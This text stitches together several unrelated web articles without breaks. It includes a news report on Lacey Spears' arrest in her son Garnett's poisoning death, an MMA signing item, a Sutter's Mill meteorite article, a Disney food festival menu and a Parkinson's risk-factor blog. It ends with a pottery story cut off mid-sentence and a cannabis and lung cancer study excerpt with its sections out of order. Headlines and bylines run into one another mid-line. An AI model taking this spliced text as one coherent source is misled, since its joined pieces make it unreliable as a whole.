CLOSE Westchester County Police make a statement on the arrest of Lacey Spears in connection to the death of her son Garnett. (Video by Ricky Flores/The Journal News) Ricky Flores/The Journal News
"This is a very sad day for everyone, but it is a day for justice," Calabrese said. "Justice for the betrayal of the intimate trust between a mother and child, justice for a mother's continual abuse and death of her innocent child for her own selfish psychological needs and financial gain; justice for Garnett."
Authorities suspect the single mother, who was a constant presence on social media sharing stories of Garnett's medical crises, may have poisoned the little boy at least twice; once before he experienced seizures that sent him to Nyack Hospital Jan. 17 and again on Jan. 19 at Nyack when his sodium level spiked and he had to be flown to Valhalla.
As Garnett lay dying in the hospital, a Chestnut Ridge neighbor said Spears called and told her to dispose of a bag Spears used to feed the boy through a tube. Police later recovered the bag which had extremely high levels of sodium.
The homicide case may be one of the first involving Munchausen by proxy – a psychiatric disorder in which a parent sickens a child to garner sympathy – in the era of social media.
Spears was living with Garnett in the secluded Fellowship Community when the alleged crime occurred. She faces a maximum of 25 years to life in prison on the murder charge and up to 25 years for manslaughter.
The reaction in Spears' hometown of Decatur, Ala., was swift.
Former nurse Ginger Dabbs-Anderson, who first met Spears and Garnett when the boy was six months old, was grateful for the action, but remorseful that it came too late to save Garnett, who friends called "G."
"I'm happy they got her and I do believe that she's had this problem for years and that he's been suffering at her hands. I really wish we could have prevented this because there were signs.
"Maybe the hospitals should have caught it, maybe her parents should have caught it, maybe those people closest to her should have caught it. She put all over Facebook how wonderful she was. She had us all snowed, she had us all believing she was wonderful. But obviously not."
The former nurse was not surprised to learn that officials suspect Spears may suffer a psychological disorder.
"I don't care if it is a case of Munchausen by Proxy. I think she should get whatever it is anyone else who murders someone gets."
Shawna Lynch, who knew Spears before Garnett was born and initially defended her, said: "I cried. It broke my heart but thank God they're finally going to get justice for G. I just hope she gets what she deserves. I know G's not coming back, but at least we'll have justice for him."
NEWSLETTERS Get the Breaking News newsletter delivered to your inbox We're sorry, but something went wrong Please try again soon, or contact Customer Service at 1-888-426-6388. Delivery: Varies Invalid email address Thank you! You're almost signed up for Breaking News Keep an eye out for an email to confirm your newsletter registration. More newsletters
At the Fellowship Community in Chestnut Ridge, people were saddened at the mention of Spears and her son.
"There has to be some way where this isn't true," said one woman who wished not to be named.
Another Fellowship member said she couldn't reconcile the Spears she knew with the one in court on Tuesday.
Buy Photo Lacey Spears is accompanied by her father, Terry, as she is led into a back door at Westchester County Police headquarters in Hawthorne on June 17, 2014. (Photo: Frank Becerra Jr./The Journal News)
"I don't see her as a murderer," the woman said. "I think (it was) sickness and I think a lot of things happen to us in our lives that are tragic and make us seek this kind of grief or sympathy that she was looking for. We all do it in different ways. I think it was really wrong of course, and I think it was terrible and all I can do is pray for her."
The charges relate to Garnett's death, but authorities suspect Spears subjected him to past medical abuse, fueled by attention on Facebook, Twitter and blog posts. She presented herself as a doting mother caring for a son who'd been in and out of hospitals his entire life. In a Facebook post in November 2009, she wrote that Garnett was back in the hospital again, his 23rd hospital visit in his first year.
The investigation began in January, while Garnett was still alive, when doctors at Maria Fareri alerted police that the boy's sodium level had spiked to suspiciously high levels.
Witnesses told The Journal News they saw a doctor at Maria Fareri confront Spears the night of Jan. 19, shortly after she and her son arrived there on an emergency helicopter flight from Nyack. The doctor told her it was "metabolically impossible" for her son's body to produce such extreme levels, and that "something isn't right."
At Maria Fareri, Spears continued to sleep in Garnett's room and had unmonitored access to him in the room's attached bathroom, sources said. There was a similar setup at Nyack Hospital.
The boy was alert and talking on the night of Jan. 20 when friends visited him and Spears in his hospital room. One friend recalled the 5-year-old pleading with her: "Don't leave me."
It wasn't until the following morning, Jan. 21 — after Garnett's condition worsened and he "coded" — that the medical staff notified the state's child-abuse hotline, prompting police and the district attorney's office to get involved. The boy was taken off life support and declared dead Jan. 23.
Lacey Spears' mug shot at Westchester County Police headquarters in Hawthorne, on June 17, 2014. (Photo: Westchester County Police)
In April, the Westchester Medical Examiner ruled Garnett's death a homicide, and detectives have focused on Lacey Spears from the start. Even before the boy's death, they seized food, her cellphone and computer from her home at the Fellowship Community and confiscated the feeding bag Spears was so concerned about that she contacted her neighbor from the hospital.
A second Fellowship neighbor reported seeing Spears feed Garnett through his tube Jan. 17, shortly before a seizure sent him to Nyack Hospital. That version of events contradicted Spears' claim to others that she hadn't fed him through the tube for at least a week.
Both neighbors testified before the grand jury.
Westchester County police, Ramapo police and the district attorney's office have also secured medical records and video surveillance from Nyack and Maria Fareri, and statements from medical staff and friends who accompanied Spears at both hospitals.
Investigators have dug into Spears' 14 months at the Fellowship and the time she spent in Alabama and Florida, poring over medical reports and interviewing friends, hospitals and social-service agencies that have fielded calls in the past about Spears' parenting.
Police have also spoken to members of a parenting group in Spears' former community of Clearwater, Fla., where she'd share tearful stories about raising a sickly son whose father she claimed died in a crash. One member contacted that state's Department of Children and Families in 2011, one of several times Spears was reported to child-welfare authorities.
None of the reports, however, resulted in action to remove Garnett from her care.
Garnett Spears started school in October at Green Meadow Waldorf School in Chestnut Ridge, associated with the Fellowship Community. Lacey Spears posted this first-day-of-school photo. (Photo: Facebook, courtesy family)
Spears, who repeatedly sought treatment for Garnett's severe ear infections and purported digestive problems, told friends her son needed to be tube-fed because he'd go days without eating and was a "failure to thrive" case, a diagnosis for children defined by inadequate weight gain.
But those same friends saw him eat solid foods routinely. To them, Garnett – sporting a gap-toothed smile and long blond hair – appeared happy and healthy.
During the final hospital stay at Maria Fareri, Spears took to Facebook frequently, pleading for prayers as she posted pictures of her son on life support, noting that the pain in his head was making him scream out loud in pain.
Then, on Jan. 23, Spears posted a final Facebook declaration: "Garnett the great journeyed onward today at 10:20 a.m."
Initially flooded with condolences, support for Spears diminished as friends learned about the investigation and stories from her past: that her frequent emergency-room visits raised eyebrows among medical staff; that she misrepresented herself as the mother of a child she babysat; and that she'd lied about Garnett's father. He was not a police officer who died in a crash; he is a garage-door installer still living in Alabama.
Staff writers Jonathan Bandler, Greg Shillinglaw and Frank Becerra Jr. contributed to this report.
Twitter: @SPCCohen
Buy Photo Losing Garnett the Great (Photo: The Journal News)
About the series
Read our five-part series, "Losing Garnett the Great," a Journal News report that follows the life of Lacey Spears from Alabama to Florida to Rockland's Fellowship Community where her well-documented devotion to Garnett ends in his unexplained death. We explore how a woman whose existence centered on her only child became the focus of a police probe into whether her son was poisoned.
Part 1: Boy's death reveals mom's lies
A little blond boy beams in dozens of photos on Lacey Spears' MySpace page with captions like "My World My Everything" and "He Completes Me." There's just one problem with this maternal picture: It isn't true. That boy is not her son.
Part 2: Two fathers; one real, one imagined
When Chris Hill heard from a friend that Garnett was dying, he reached out to Lacey Spears in the only way he knew how: He sent her a Facebook friend request. It's a strange way for a father to seek news about his son.
Part 3: Red flags, in and out of the hospital
Some people in Lacey Spears' life described her as a caring and nurturing mother but others saw darker signs. Were the surgeries, IVs and feeding tube really necessary? Lacey Spears has denied doing anything to harm her son. (Audio: Ex-nurse recalls Lacey as "the biggest liar I ever met.")
Part 4: Sun and sandcastles
It was a brief idyll for a happy child. Lacey Spears and son Garnett move to Florida, but the happier times didn't last. Just before Superstorm Sandy, mother and son moved north to Chestnut Ridge and the Sunbridge Institute, known as the Fellowship.
Part 5: 'Garnett the Great journeyed onward'
Lacey Spears and her son Garnett settle in to life at the Fellowship, where Lacey spoke frequently about her sickly son's medical history. Garnett seemed like a normal, healthy boy to many in the Chestnut Ridge enclave. In late January, Garnett was transported from Nyack Hospital to Westchester Medical Center. He died Jan. 23. Westchester County Police subsequently launched an investigation.
Lacey Spears and her son, Garnett Spears. (Photo: Facebook photo)
Read more
Garnett's last days: 'Something is not right here'
Friends share shocking new details about the time Lacey Spears spent with her dying son at Nyack Hospital and Westchester Medical Center.
Spears case has red flags seen in Munchausen by Proxy
Garnett Spears had feeding tube most of his life
Losing Garnett: Listen to reporter Peter D. Kramer read the series
Chat live with lohud
Journal News/lohud reporters Shawn Cohen and Peter D. Kramer will be taking your questions and sharing insights into the Lacey Spears arrest at 7 p.m. ET Wednesday, June 18, on lohud. Find the chat and set up an email reminder at http://lohud.us/spears-arrest-chat.
Read the indictment
http://data.lohud.com/documents/lacey-spears-indictment.html
Read or Share this story: http://lohud.us/1q9cQZlJason Silva-USA TODAY Sports
Rousimar Palhares, the Brazilian jiu-jitsu expert who was permanently banned from the UFC for holding dangerous submissions after referee stoppages, has signed with the fledgling World Series of Fighting promotion.
According to a report Monday evening from John Morgan and Dann Stupp of MMA Junkie, the controversial welterweight joins the WSOF fold despite previous assertions from promotion president Ray Sefo that WSOF had "no interest" in signing Palhares.
Palhares has more than once held his signature submission move, the heel hook, after a referee has called for an end to the bout. In March 2010, Palhares, then a middleweight, was suspended by the New Jersey State Athletic Control Board for 90 days for failing to release a heel hook following his UFC 111 win over Tomasz Drwal.
The UFC handed Palhares a lifetime ban after UFC Fight Night 29, held in Brazil on Oct. 9. Palhares looked terrific in his welterweight debut, submitting tough wrestler Mike Pierce in only 31 seconds. However, the victory was tarnished when Palhares refused to let go of his hold.
Palhares said after the fight and before his UFC release he believed he stopped when he noticed the referee's exhortations for him to do so, and that he did not feel he should receive any additional punishment.
Despite the controversy, however, Palhares remains popular with fans for his aggressive submission game and exuberant style in the cage.
In addition to a popular fighter, WSOF also gets a seasoned and accomplished welterweight in Palhares, who is 15-5 as a pro and who, at age 33, may be far from done as an elite competitor.
Before dropping to welterweight, Palhares had lost two straight in the UFC middleweight division. His final middleweight fight, a knockout loss to Hector Lombard in December 2012, was further besmirched when Palhares tested positive for elevated testosterone levels. Prior to that fight, Palhares lost by TKO to longtime UFC veteran Alan Belcher.Meteor astronomer Peter Jenniskens must move quickly to trap evidence of a fresh meteorite fall. In 2008, a small asteroid roughly three meters across struck Earth’s atmosphere over northern Sudan, producing a brilliant fireball in the sky. The asteroid’s orbit had been tracked before striking Earth, upping the chances that searchers would be able to locate pieces of the meteorite on the ground. So Jenniskens traveled to the Nubian Desert to recover fragments, as did dozens of searchers from the University of Khartoum.
In April of this year, he did not have to travel nearly so far to gather fresh meteoritic material. A bright fireball lit up the daytime sky April 22 over northern California’s gold country, a few hours’ drive from Jenniskens’s bases of operations in the San Francisco Bay Area: the SETI Institute in Mountain View and the NASA Ames Research Center in Moffett Field. The California bolide, like its African predecessor, made a well-documented entry—three Doppler radar stations picked up the track of the fireball, pointing the way to meteorite fragments on the ground. (The asteroid itself had not been spotted in space—such small objects usually escape astronomers’ notice.) Given the convenient location, the searchers were even able to marshal a slow-moving zeppelin to scan the area from the air, to look for impact scars on the terrain below caused by large meteorite fragments, but none were found.
Jenniskens and other searchers did ultimately locate 77 smaller pieces of the meteorite on the ground, according to a study he and his colleagues published in Science on December 21. The fragments total nearly one kilogram. But that is just a tiny fraction of the original mass of the Sutter’s Mill meteorite—named for the site of one of the finds, in Coloma, Calif. (Sutter’s Mill also happens to be the place where the California Gold Rush began in the mid-1800s.)
In the new study Jenniskens and his colleagues report that the asteroid that hit the atmosphere probably had a mass of some 40,000 kilograms, corresponding to a diameter of 2.5 to four meters. It streaked in from the east before detonating at an altitude of about 48 kilometers, releasing the energy equivalent of four kilotons of TNT in the process, or about one-quarter the yield of the nuclear weapon detonated over Hiroshima. The impact was seen and heard by many witnesses and was even picked up by two infrasonic (low-frequency sound wave) detector stations designed to monitor compliance with the Comprehensive Nuclear Test-Ban Treaty.
Given the violence of the reconstructed atmospheric entry, it’s remarkable that any fragments were recovered at all. Drawing on witnesses’ photos and videos of the fireball, the researchers have calculated that the parent object of the Sutter’s Mill meteorite entered the atmosphere at 28.6 kilometers per second (64,000 mph)—the highest such entry velocity recorded for recovered meteorites.
The recovered chunks revealed the Sutter’s Mill meteorite to be a rare variety called a carbonaceous chondrite. And in this case, rapid recovery proved critical—the researchers’ analysis found notable differences between samples recovered just two days after atmospheric entry and those found a few days later, after heavy rainfall. The rainwater reacted with sulfurous compounds in the meteorite, partly overwriting its original chemical makeup. The rapid alteration of meteorites by terrestrial water, the researchers conclude, “probably erases many vestiges of the internal and external process on the asteroid” and may mean that carbonaceous asteroids are more complex in composition than had been thought.
Photos courtesy NASA/Eric JamesRecently, I shared a list of the exciting signature events coming to Disney California Adventure Food & Wine Festival. Today I’m excited to share the complete foodie guide for the festival, which is more than twice the size this year and full of California-inspired cuisine!
Nuts About Cheese
Brie toast with fig and mint and roasted California almond crumble
Baked ham and Swiss cheese croque monsieur roll with smoked pistachios
Chèvre fromage blanc tartine infused with rosemary and honey, topped with toasted hazelnuts
Almond milk tea with pudding
Uncork California
White wine flight
Red wine flight
Mimosa flight
I Heart Artichokes
Artichoke carbonara with garlic aioli and smoked bacon
Grilled and chilled artichoke hearts with Romesco sauce
Creamy artichoke and dark chocolate cake pop
Orange iced tea with orange pearls
Garlic Kissed
Grilled beef tenderloin slider with chimichurri sauce
Black garlic soy-braised pork belly bao with pickled vegetables
Garlic-rosemary and avocado oil ice cream pop
California Craft Brews
Southern California flight
Northern California flight
Olive Us
Chilled Cioppino soup with shrimp, crab claw and grilled olive bread
Warm olive focaccia with olive oil and sea salt
Vanilla bean crème fraîche panna cotta with Amarena cherry jus and EVOO madeleine
Bacon Twist
Baby iceberg and heirloom tomato wedge with peppered bacon and blue cheese dressing
Smoked bacon mac and cheese with barbecue-seasoned crispy onions
Maple-bacon Whoopie Pie
Lemon Grove
Roasted cauliflower and Meyer lemon-infused Dannon Oikos® Greek nonfat yogurt cauliflower puree with sundried tomatoes and fried capers
Duck confit on potato smash with Meyer lemon preserves
Meyer lemon macaron with blueberry marmalade, Meyer lemon cream and blueberry dust
Cherry lemonade with cherry pearls
Seafood…Sustained
Verlasso® sustainable salmon tataki with avocado-wasabi puree and Furikake dust
Cage-free cream cheese deviled eggs with farm-raised smoked trout and chives
Passion fruit posset and coconut chia with mango compote and jelly
Mango agua fresca
The Onion Lair
French onion mac and cheese topped with parmesan crumble and chives
Braised Wagyu beef on creamy polenta with haricot vert and red onion salad and roasted Cipollini onion
Chocolate-hazelnut and raspberry Feuillete tart
Strawberry pineapple float with vanilla ice cream and strawberry pearls
Off the Cob
Sweet corn nuggets with beef chili, spring onions and sour cream
Jackfruit carnitas banh mi nachos with cilantro crèma and “pickled” de gallo
Roasted sweet corn custard tart with honey tuille and smoked chili-infused chocolate sauce
Sweet & Sourdough
Bay shrimp Louie salad served in a mini Boudin sourdough boule
White cheddar lager soup topped with bacon, served in a mini Boudin sourdough boule
Milk chocolate sourdough bread pudding with vanilla bean sauce
LAStyle
Chicken Teriyaki slider with spicy Dole® pineapple jam
Korean barbecue beef short rib tacos with Kimchi slaw
Fresh strawberry compote, lemon verbena and vanilla bean shortcake parfait
Dole® Pineapple-strawberry Float with vanilla ice cream and strawberry pearls
Paradise Garden Grill Beer Garden
Beer-battered cod served with steak fries, sweet slaw and spiced remoulade
Potato and cheese pierogis with vegetarian sausage served with grilled Anaheim chilies, caramelized onions and sour cream
Beer-braised pork tacos served with pickled apple slaw, black beans and queso
Sausage platter trio served with braised red cabbage and warm potato salad
Large soft pretzel served with beer-mustard dipping sauce
Salted caramel budino with vanilla bean Chantilly cream
Bienenstich cake with honey-glazed almonds, filled with vanilla bean custard
The festival continues in the Hollywood Backlot area, featuring wine flights at Wineology, beer and beer floats at The Brewhouse and wine at the Festival Merchandise & Bottle Shop at Stage 17.
What are you most looking forward to trying at this year’s Disney California Adventure Food & Wine Festival? Let us know in the comments below!
Reservations are now open for all signature events, and can be made by clicking here. Learn more about the festival by visiting Disneyland.com/FoodAndWine.April is Parkinson's disease (PD) awareness month, a time to learn about this illness and to be aware of the estimated seven to ten million people that wake up everyday to face the challenges of this incurable, progressive illness. And these challenges include motor symptoms like tremor, rigidity, slowness of movement and loss of balance. It also includes a whole spectrum of other nonmotor symptoms such as mood changes, constipation, pain, and sleep disorders to name a few.
Unlike other diseases where potential causes are known (for example smoking and lung cancer), the exact reason why some individuals develop PD remains elusive. There are likely many factors at play including genetics and environmental triggers. What is clear is that Parkinson's is a disease that knows no boundaries on the basis of age, race, religion or geographical borders. Although it can affect anyone, there are however some trends that can be seen when looking at the Parkinson's population.
Sex: Parkinson's does have a gender bias. Men are approximately 1.5 times more likely to develop Parkinson's disease than women.
Age: Like with many diseases, getting older is a risk factor. Parkinson's disease ranks among the most common late-life neurodegenerative diseases, affecting approximately 1.5 per cent to 2.0 per cent of the population older than the age of 60 years. To a lesser extent, young onset Parkinson's (before age 40) occurs in five to 10 per cent of people diagnosed with PD while 20 per cent of those affected are under the age of 50.
Ethnicity: Caucasians are more likely to develop Parkinson's disease compared to individuals with African or Asian ancestry. Also people of two particular ethnic backgrounds, Ashkenazi Jewish and North African Arab Berbers have significantly high numbers in their populations with this disease.
Geography: Taking into consideration ethnicity it makes sense that globally the prevalence of Parkinson's disease is lower in Asia and Africa compared to Europe and North America. In the US, there are more cases concentrated in the midwest and northeastern states.
Heredity: The vast majority of those with Parkinson's have no family history of the disease. For some however, genetics plays a role with approximately 10 per cent of people affected with PD having a first degree relative (parent, sibling or child) that is also living with the disease. A recent large - scale study by NIH (National Institute of Health in the U.S.) recently identified 26 genetic risk factors that increase an individual's chance of developing Parkinson's disease. But even if you have one of those genes that put you at risk, you will not necessarily develop Parkinson's. It's simply an increased risk compared to the general population.
Environmental Toxins: Exposure to a number of pesticides and herbicides including commonly used Paraquat and Rotenone have been shown to be toxic to the brain when an individual is exposed to them repeatedly and for a prolonged time, resulting in a higher risk of developing Parkinson's disease. In those that are genetically susceptible, the chances of developing Parkinson's may be increased two to six-fold. Industrial solvents such as TCE (Trichloroethylene) and PCBs (Polychlorinated biphenyls) have also been shown to be associated with the development of Parkinson's disease in individuals who have had long-term exposure.
Head Trauma: Research studies support the observation that head injuries, particularly those that involve a concussion or loss of consciousness may increase
the incidence of Parkinson's. This risk seemed sustained over several years meaning that in a patient with PD, their personal history of head injury could be years prior to their symptoms developing.
With the exception of factors in our environment, very little can be done to change many of the risk factors that seem to exist for Parkinson's disease. However this information is still important in the world of scientific research. If researchers can figure out why certain characteristics or situations put people at risk for developing PD, it may give them insight into potential causes of the disease itself. And this would be helpful for all those affected, one step closer to finding that elusive cure.
Follow HuffPost Canada Blogs on Facebook
ALSO ON HUFFPOST:In a photo taken while attending college shows some of the pottery work Betsy Soule created in high school during the early 1970s. (Betsy Soule / Submitted photo) 4933632
In a photo taken while attending college shows some of the pottery work Betsy Soule created in high school during the early 1970s. (Betsy Soule / Submitted photo) - Bulletin
Betsy Soule sits among some of the pottery she created in middle school and high school in the early 1970s. One of Soules pottery pieces was mistakenly appraised for $30,000-$50,000 on the television program Antiques Roadshow in January. (Ryan Brennecke / The Bulletin) 4955611
Betsy Soule sits among some of the pottery she created in middle school and high school in the early 1970s. One of Soules pottery pieces was mistakenly appraised for $30,000-$50,000 on the television program Antiques Roadshow in January. (Ryan Brennecke / The Bulletin) - Bulletin
A- A+
By Scott Hammers • The Bulletin
In January, Bend horse trainer Betsy Soule picked up the phone to hear the voice of a friend she hadn’t spoken to in close to 40 years.
“She just called me out of the blue,” said Soule, 60. “She said, ‘You’ve got to get on the Internet and look up ‘Antiques Roadshow’; that weird pot you made is on there.”
The weird pot — a jug, actually — more than a foot tall and decorated with six grotesque, gargoylelike faces, had been made by Soule in a ceramics class at Eugene’s Churchill High School in 1973 or 1974. The jug’s precise whereabouts over the last four decades remain a mystery, but eventually it made its way in to the hands of Florence resident Alvin Barr.
Last summer, Barr took the jug to Spokane, Washington, for a taping of “Antiques Roadshow,” a public television |
(95% CI 2% to 15%) for each joint-year of cannabis smoking, after adjustment for confounding variables including cigarette smoking, and 7% (95% CI 5% to 9%) for each pack-year of cigarette smoking, after adjustment for confounding variables including cannabis smoking. The highest tertile of cannabis use was associated with an increased risk of lung cancer RR=5.7 (95% CI 1.5 to 21.6), after adjustment for confounding variables including cigarette smoking.
A case-control study of lung cancer in adults ≤55 years of age was conducted in eight district health boards in New Zealand. Cases were identified from the New Zealand Cancer Registry and hospital databases. Controls were randomly selected from the electoral roll, with frequency matching to cases in 5-year age groups and district health boards. Interviewer administered questionnaires were used to assess possible risk factors including cannabis use. The relative risk of lung cancer associated with cannabis smoking was estimated by logistic regression.
New Zealand represents an ideal country in which to study the association between cannabis and respiratory tract cancer. New Zealand has a high rate of cannabis use,[ 20 ] and it is rarely mixed with tobacco within the joint [ 21 ] as is the custom in the United Kingdom.[ 22 ] New Zealand has among the highest rates of lung cancer worldwide with the indigenous Maori population having the highest incidence of any ethnic group.[ 23 ] These circumstances provided the opportunity to undertake a case-control study to investigate the association between lung cancer and cannabis use in young people.
Epidemiological evidence for an association between cannabis and lung cancer is limited and conflicting. Case series have suggested a causative role for cannabis in lung cancer in young adults.[ 14, 15 ] The few published case-control studies have shown both the presence [ 16 - 18 ] and absence [ 19 ] of an association, but have been limited by the inability to quantify use,[ 16 - 18 ] confounding with combined cannabis and tobacco use,[ 16 - 18 ] studies being undertaken in populations in which use may have serious legal consequences resulting in potential information bias [ 16 - 19 ] and poor response rates.[ 19 ]
Cannabis smoking may have a greater potential than tobacco smoking to cause lung cancer.[ 1 - 4 ] Cannabis smoke is qualitatively similar to tobacco smoke, although it contains up to twice the concentration of the carcinogenic polyaromatic hydrocarbons.[ 1 ] Cannabis is less densely packed than tobacco cigarettes, and tends to be smoked without filters [ 2 ] to a smaller butt size,[ 3 ] leading to higher concentrations of smoke inhaled. Furthermore, smokers of cannabis inhale more deeply and hold their breath for longer,[ 4 ] facilitating the deposition of the carcinogenic products in the lower respiratory tract. These factors are likely to be responsible for the five-fold greater absorption of carbon monoxide from a cannabis joint, compared with a tobacco cigarette of similar size despite similar carbon monoxide concentrations in the smoke inhaled.[ 4 ] Several studies have demonstrated pre-cancerous histological [ 5, 6 ] and molecular [ 7 ] abnormalities in the respiratory tracts of cannabis smokers, and the carcinogenic effects of cannabis smoke have been demonstrated in vitro [ 8 ] and in different in vivo animal models.[ 1, 9, 10 ] Conversely, there is also evidence that delta-9-tetrahydrocannabinol may have anti-carcinogenic effects.[ 11 - 13 ]
Standard methods for analysis of case-control studies were used. The mean delay from diagnosis to interview was subtracted from the date of interview to calculate a reference date for duration of exposure for each control. Tertiles of cannabis use were determined by the marginal distribution of use for all subjects to reduce the chance of zero cell counts if just the control group was used. Relative risks were estimated by calculating odds ratios by logistic regression using SPSS version 11.0 for Mac OSX (SPSS Inc, Chicago, Ill) and adjusted for confounding variables. Adjustment for age, joint-years of cannabis smoking and pack-years of cigarette smoking was made by including them as continuous variables in the regression models. The effects of categories of pack-years of cigarette smoking (quintiles of smoking for all subjects interviewed) and joint-years of cannabis smoking (tertiles of use for all subjects interviewed) were also assessed. The relative risks were also calculated based on cannabis use up to 5 years prior to diagnosis or reference date in the controls, on the basis that exposure after that time was unlikely to have caused the malignancy. The age at which cannabis smoking started was categorised, and the relative risk associated with starting <16 years of age, compared with ≥21 years was estimated. Various logistic regression models were fitted with potential confounders as continuous and categorical variables, and the estimates of relative risk and the confidence intervals were not appreciably different from the results presented.
Subjects who reported having ever smoked 20 or more joint of cannabis were then asked to complete a more detailed exposure questionnaire regarding their cannabis smoking. This questionnaire obtained information about the age of starting cannabis use, the amount, frequency and duration of use, and the characteristics of their smoking. This information was collected for each period of their lives when pattern of use changed and was then summed to give an estimate of total lifetime use. If subjects smoked cannabis in a form other than a joint, e.g. pipes or bongs, they were asked to estimate the number of cannabis joints to which that would equate. This conversion allowed cannabis use for all participants to be quantified in joint-years of use, with 1 joint-year being equivalent to 1 joint per day for 1 year. Subjects who had smoked <20 and ≥20 cannabis joints in their lifetime were classified as non-smokers and smokers of cannabis respectively. A similar approach of determining lifetime use of cigarettes was employed to enable pack-years of cigarette smoking to be calculated, with 1 pack-year equivalent to 20 cigarettes per day for 1 year. Subjects who reported smoking tobacco cigarettes occasionally but never daily, or daily at some stage in their life, were classified as non-smokers and smokers of cigarettes, respectively. The questionnaire was piloted among ex-cannabis smokers.
Questionnaires were administered face-to-face by trained interviewers, usually at the home of the participant. Information on demographics (including ethnic group), smoking history, passive smoking exposure, recreational drug use, diet, occupation, income, education, alcohol consumption and family history of malignancy was collected. A family history of lung cancer was defined as having a sibling or parent with lung cancer. Occupations associated with a higher risk of lung cancer were identified from the literature and subjects were assigned a ‘duration at risk’ value in years. Ethnicity was derived by priority coding of the responses into three groups; Maori, Pacific Islander and ‘other’. The highest level of educational attainment was recorded, as was income at diagnosis (or reference age). Alcohol consumption was calculated using a semi-quantitative score based on amount and frequency of consumption.
Cases were patients with confirmed lung cancer aged 55 years and under at the time of diagnosis, identified from hospital databases and the New Zealand Cancer Registry between January 2001 and July 2005. Cases were a mixture of prevalent and incident cases of lung cancer. Subjects were excluded if they had lung metastasis from a distant primary other than lung, or a histological diagnosis of carcinoid or melanoma. Age at diagnosis, anatomical location of their malignancy and histological type were collected for cases. Controls without lung cancer were randomly selected from the electoral roll and frequency matched in 5-year age groups and district health boards. Subjects came from eight district health board regions, serving both urban and rural populations. The eight District Health Boards together serve approximately 1.8 million people, representing just under half of the total New Zealand population. The study was approved by the regional ethics committees and each participant gave written informed consent. Patients with cancers of the head and neck were also interviewed, but will be reported separately.
Among users of cannabis no significant correlation between joint-years of use and age of onset of use was found (Pearson correlation coefficient 0.077, P=0.56). Compared with subjects who started smoking cannabis aged 21 or older, those that started under the age of 16 had a relative risk of lung cancer of 10.3 (95% CI 0.8 to 132) after adjustment for joint-years of cannabis use, pack-years of cigarette smoking, age, sex, ethnicity, and a family history of lung cancer.
When joint-years of use were fitted as a continuous variable, thus providing greater statistical power than the assessment by tertile of use, a significant increasing risk, 8%, with each joint-year of use was found (RR=1.08, 95% CI 1.02 to 1.15) ( ). The strength of the association was maintained when cannabis use in the 5 years prior to diagnosis, or reference date for controls, was excluded (RR=1.10, 95% CI 1.02 to 1.18). ( ). A significant increase in the risk was also observed with increasing cigarette smoking, with a 7% increase in risk for each pack-year of exposure (RR=1.07, 95% CI 1.05 to 1.09), after adjustment for confounding variables including cannabis smoking. Therefore, the increased risk for each pack-year of cigarette smoking was similar to that for each joint-year of cannabis use.
While cannabis smoking (defined as lifetime use of ≥20 joints) was not associated with a significantly increased risk of lung cancer ( ), those with the highest tertile of use (>10.5 joint-years of exposure) had a significantly increased risk, RR=5.7 (95% CI 1.5 to 21.6), after adjustment for age, sex, ethnicity, pack-years of cigarette smoking and a family history of lung cancer. Using the prevalence of the highest tertile of cannabis smoking of the controls we estimated that about 5% of lung cancer in those aged 55 years and under in New Zealand may be attributable to cannabis smoking.
The 79 cases of lung cancer included 16 (20%) small-cell and 63 (80%) non-small-cell cancers. This is consistent with the established distribution of histological type seen in the general population.[ 24 ] There were 39 (49%) female cases of lung cancer, similar to the female proportion (50%) of all lung cancer cases aged <55 years in New Zealand between 1998 and 2003.[ 25 ] The risk of lung cancer did not vary with age, due to cases and controls being frequency matched on 5-year age group to improve the efficiency of the study. A family history of lung cancer was associated with an increased risk of lung cancer (RR=3.9, 95% CI 1.8 to 8.4). There was no significant association between lung cancer risk and passive smoking, diet, occupation, income, educational level, and alcohol use after adjustment for age, sex, ethnicity, cigarette smoking and a family history of lung cancer. The proportion of controls (aged 35 to 55 years) who had ever smoked cannabis, with age-adjustment for the age distribution of the general population was 36%, similar to the 40-52% reported amongst the younger 15 to 45 year age group, in New Zealand population surveys undertaken between 1990 and 2001.[ 20 ]
DISCUSSION
This population-based case-control study provides evidence of a relationship between smoking cannabis and lung cancer in young adults. For each joint-year of cannabis exposure the risk of lung cancer was estimated to increase by 8%.
There are a number of methodological considerations relevant to the interpretation of these findings. We studied subjects aged 55 years or younger due to published case series,[14,15] which suggested a strong association between cannabis use and lung cancer in young adults. Additionally, the lifetime exposure of older individuals would be expected to be much lower as they would have been older than the typical age for onset of use when the “epidemic” of cannabis use began in the 1960's. Due to the low incidence of lung cancer in this age group, representing less than 10% of all lung cancers,[23] cases diagnosed up to 5 years before interview were included. If survival after diagnosis was different for users compared to non-users of cannabis, this may have influenced the results obtained. Cases were identified from both the National Cancer Registry and from hospital outpatient and discharge databases to ensure case ascertainment was as complete as possible.
In the initial approach no mention was made of the primary risk factor of interest to avoid recruitment bias with either the cases or the controls. To minimize response bias the interviewer did not state the specific research hypothesis and took a detailed history of all well known risk factors. Cannabis exposure was measured as joint-years of cannabis use, which combines both the intensity (amount and frequency) and duration of use. This approach follows the current convention for quantifying life long cannabis consumption and recognizes the evidence that the risk of lung cancer with cigarette smoking is related to both intensity and duration of use.[26] Recall of the amount of cannabis smoked over a long period of time may have been difficult for some subjects, however, this is likely to have been similar for both cases and controls as subjects were not aware of the study hypothesis.
We used a population-based control group rather than a hospital-based control group as the latter is susceptible to significant bias due to the many medical conditions associated with cannabis use.[27,28] In recognition of the low incidence of lung cancer in the age group studied, we studied four controls for each case to increase the power of the study.
The major finding from this study was that for each joint-year of cannabis exposure, the risk of lung cancer increased by 8%, after adjustment for confounding variables including tobacco smoking. A major differential risk between cannabis and cigarette smoking was observed, with 1 joint of cannabis similar to about 20 cigarettes for risk of lung cancer. This is consistent with the observation that smoking ‘a few’ cannabis joints a day causes similar histological changes in the tracheobronchial epithelium as smoking 20-30 tobacco cigarettes a day.[29] It has also been reported that smoking 2 joints per day results in cytomorphological abnormalities in the sputum, similar to about 30 cigarettes per day.[30,31] These differential risks are greater than the 1:5 dose ratio between cannabis and tobacco for carbon monoxide levels and the 1:3 dose ratio for amount of tar inhaled,[4]. This suggests that as well as differences in smoking topography, in which cannabis joints are usually smoked without a filter,[2] to a smaller butt size,[3] using deeper and longer inhalation techniques,[4] differences in chemical composition of cannabis and cigarette smoke may also be responsible for the differences in their lung cancer risks. In this regard, cannabis smoke has been shown to have greater concentrations of the carcinogenic polyaromatic hydrocarbons benz[a]pyrene and benz[a]anthracene than cigarette smoke.[1]
